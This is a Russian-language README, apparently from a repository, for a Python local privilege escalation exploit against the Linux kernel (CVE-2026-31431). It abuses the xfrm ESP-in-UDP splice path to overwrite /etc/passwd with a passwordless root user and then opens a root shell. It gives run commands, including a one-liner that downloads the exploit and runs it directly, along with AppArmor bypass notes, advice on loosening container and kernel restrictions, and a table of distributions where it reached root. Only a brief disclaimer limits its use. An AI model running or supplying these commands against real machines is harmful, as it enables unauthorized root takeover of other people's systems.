
Python-реализация локального эксплойта для повышения привилегий в ядре Linux для CVE-2026-31431, использующая xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW для перезаписи /etc/passwd и получения прав root.
Python-порт эксплойта CopyFail2 для ядра Linux, использующий быстрый путь без COW MSG_SPLICE_PAGES в xfrm ESP-in-UDP для непривилегированного повышения привилегий в Linux.
Заменяет запись nologin/false в /etc/passwd на пользователя uid-0 без пароля и открывает root-оболочку через su.
Ошибка ядра находится в пути UDP splice, используемом инкапсуляцией xfrm ESP-in-UDP. Вызов splice() в UDP-сокет с MSG_SPLICE_PAGES приводит к отображению страниц в page cache получателя без запуска copy-on-write. Это позволяет записывать в любой файл, отображённый в page cache, даже если он открыт только для чтения.
libcrypto.so (OpenSSL)CAP_NET_ADMIN или возможность создавать пользовательские пространства имёнВ этом репозитории представлены два варианта. Оба дают одинаковый результат; выбирайте исходя из своих ограничений.
# Однострочник через pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# Сохранённый файл
python3 exploit.py
# Откат изменений
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
В Ubuntu с включённым apparmor_restrict_unprivileged_userns сначала сохраните файл и запускайте с диска; режим pipe пропускает обход AppArmor.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd в нужное значение.127.0.0.1:4500./etc/passwd, ICV) передаются через splice() в pipe.splice() в UDP-сокет, что запускает ошибку ядра и записывает байт в page cache.nologin/false на sick::0:0:...:/:/bin/bash.su - sick открывает root (PAM nullok принимает пустой пароль).cannot acquire CAP_NET_ADMIN
Возможно, в вашем ядре установлено kernel.unprivileged_userns_clone=0. Включите его:
sudo sysctl kernel.unprivileged_userns_clone=1
Если запуск происходит внутри Docker, запустите контейнер с флагом --privileged или --cap-add=SYS_ADMIN.
Этот инструмент предоставляется исключительно для авторизованных исследований в области безопасности и образовательных целей. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый данным программным обеспечением.
| Файл | Описание | Скорость | Когда использовать |
|---|
exploit.py | Оптимизированный — переиспользует состояние xfrm/сокеты/pipe между мутациями, обрабатывает 2 последовательных байта за раунд, активный опрос вместо фиксированной задержки. | ~3–8 с для строки из 99 байт | Вариант по умолчанию. Быстрый, стабильный, протестирован на нескольких дистрибутивах. |
exploit_raw.py | Эталонный — максимально близок к оригинальному коду на C. Пересоздаёт состояние xfrm, сокеты, pipe и временный файл для каждого отдельного байта, фиксированная задержка 200 мс на мутацию. | ~30–40 с для строки из 99 байт | Используйте, если нужен максимально простой путь кода для аудита или если оптимизированная версия некорректно работает на конкретной сборке ядра. |
| Дистрибутив | Ядро | Результат |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | не уязвим |